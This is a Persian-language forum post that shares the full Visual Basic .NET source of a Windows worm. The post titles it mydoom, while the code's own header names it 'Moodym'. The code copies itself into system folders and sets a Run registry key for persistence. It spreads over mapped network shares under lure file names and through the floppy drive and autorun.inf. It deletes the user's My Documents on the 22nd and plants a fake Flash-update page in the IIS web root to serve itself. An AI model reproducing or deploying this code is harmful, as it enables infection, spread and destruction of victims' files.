سورس ویروس mydoom

[AQOUA]

با سلام
اینم سورس ویروس mydoom :

Imports System.IO
Imports Microsoft.Win32
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load


' Monkeyzrock proudly presents
'
' Moodym
'
' Size............... N/A
' Country............ Denmark
' Release date....... 23/3-2007
' Type............... Worm
' Lang............... Microsoft Visual Basic .NET
' Compiler........... Microsoft Visual Basic .NET 2005
' Help From.......... F-Secure (Reverse Enginering)
'
' Greetings to Judges Disemboweler, Malmo
'
' NOTICE: Proof Of Concept RELEASE!

On Error Resume Next



' Here the virus creates a copy of it self
Dim FileCopy As String() = {"C:\Windows\System32\dri16.exe", "C:\driver32.exe", "C:\Documents and Settings\" & Environ("USERNAME") & "\user.exe"}
Dim FilePath As String = System.Reflection.Assembly.GetExecutingAssembly.Lo cation
File.Copy(FilePath, FileCopy(0))
File.Copy(FilePath, FileCopy(1))
File.Copy(FilePath, FileCopy(2))


' Here the virus checks if the iis directory exists, if it does it will check for
' default.asp and delete it
Dim IISDirectory As String() = {"c:\inetpub\wwwroot"}
If Directory.Exists(IISDirectory(0)) Then
If File.Exists(IISDirectory(0) & "\default.asp") Then
File.Delete(IISDirectory(0) & "\default.asp")
End If

' Here it creates a copy named install_flash_player.exe
Dim IISFileCopy As String() = {"c:\inetpub\wwwroot\install_flash_player.exe"}
File.Copy(FilePath, IISFileCopy(0))
End If


' Calls the registrykey sub
RegistryStartup()


End Sub

Sub RegistryStartup()


On Error Resume Next


' Creates a registry key that starts up the virus when Windows loads
Dim FileLocation As String() = {"C:\Windows\System32\dri16.exe"}
Dim RegistrySetup As RegistryKey
RegistrySetup = Registry.LocalMachine.OpenSubKey("Software\Microso ft\Windows\CurrentVersion\Run", True)
RegistrySetup.SetValue("dri16", FileLocation(0))


' Calls the netmapspread sub
Spread()


End Sub


Sub Spread()

On Error Resume Next

' Here the virus tries to spread on all mapped open network shares

On Error Resume Next
Dim rnd As New Random()
Dim FileNetworkCopy As String() = {"\keygen.exe", "\hacktool-subseven.exe", "\freexxx.exe", "\crack.exe", "\hi.exe", "\hello.exe", "\pr0n.exe", "\lol.exe"}
Dim RegistryCheck As RegistryKey
Dim Value As String
RegistryCheck = Registry.CurrentUser.OpenSubKey("Software\Microsof t\Windows\CurrentVersion\Explorer\Map Network Drive MRU\", True)
For Each Value In RegistryCheck.GetValueNames()
Dim location As String = RegistryCheck.GetValue(Value).ToString()
If Value.ToLower() <> "mrulist" Then
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(0), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(1), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(2), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(3), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(4), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(5), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(6), True)
File.Copy("C:\Windows\System32\dri16.exe", location & FileNetworkCopy(7), True)
Continue For
End If
Next


' Here the virus copies it self to the floppy drive
Dim FileFloppyCopy As String() = {"A:\lol.exe"}
File.Copy("C:\Windows\System32\dri16.exe", FileFloppyCopy(0))


' Calls the sub where there is config / credit file created
WriteFiles()

End Sub

Sub WriteFiles()

On Error Resume Next

' Here the virus creates a autorun file located on the root of c: so when the user
' enters c: it will start the virus
Dim AutorunFile As String() = {"c:\autorun.inf"}

If File.Exists(AutorunFile(0)) Then
File.Delete(AutorunFile(0))
End If

Dim WriteFile As StreamWriter
WriteFile = File.CreateText(AutorunFile(0))
WriteFile.WriteLine("[autorun]")
WriteFile.WriteLine("open=c:\driver32.exe")
WriteFile.Close()


' credit file is created
Dim CreditFile As String() = {"C:\Windows\moodym.txt"}

If (DateTime.Now.Day = 22) Then
WriteFile = File.CreateText(CreditFile(0))
WriteFile.WriteLine("moodym (c) 2007 by cat6e /monkeyzrock, eu")
WriteFile.Close()
End If

' here the virus starts deleting files in folders in mydocs when the day hits 22
If (DateTime.Now.Day = 22) Then

If Directory.Exists(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments) & "\Downloads") Then
Directory.Delete(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments))
End If

If Directory.Exists(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments) & "\Pictures") Then
Directory.Delete(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments))
End If

If Directory.Exists(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments) & "\Music") Then
Directory.Delete(Environment.GetFolderPath(Environ ment.SpecialFolder.MyDocuments))
End If

End If


' Here is a default.asp file created and stored in to the iis web folder
Dim IISDirectory As String() = {"c:\inetpub\wwwroot"}
If Directory.Exists(IISDirectory(0)) Then
WriteFile = File.CreateText(IISDirectory(0) & "\default.asp")

WriteFile.WriteLine("<%")
WriteFile.WriteLine("Response.Write ""Need to update your flash plugin before you can enter this page - download it here
""")
WriteFile.WriteLine("Response.Write "" [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
""")
WriteFile.WriteLine("Response.Write ""If you have any problems please visit: [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] """)
WriteFile.WriteLine("%>")
WriteFile.Close()

End If

End Sub

End Class

با تشکر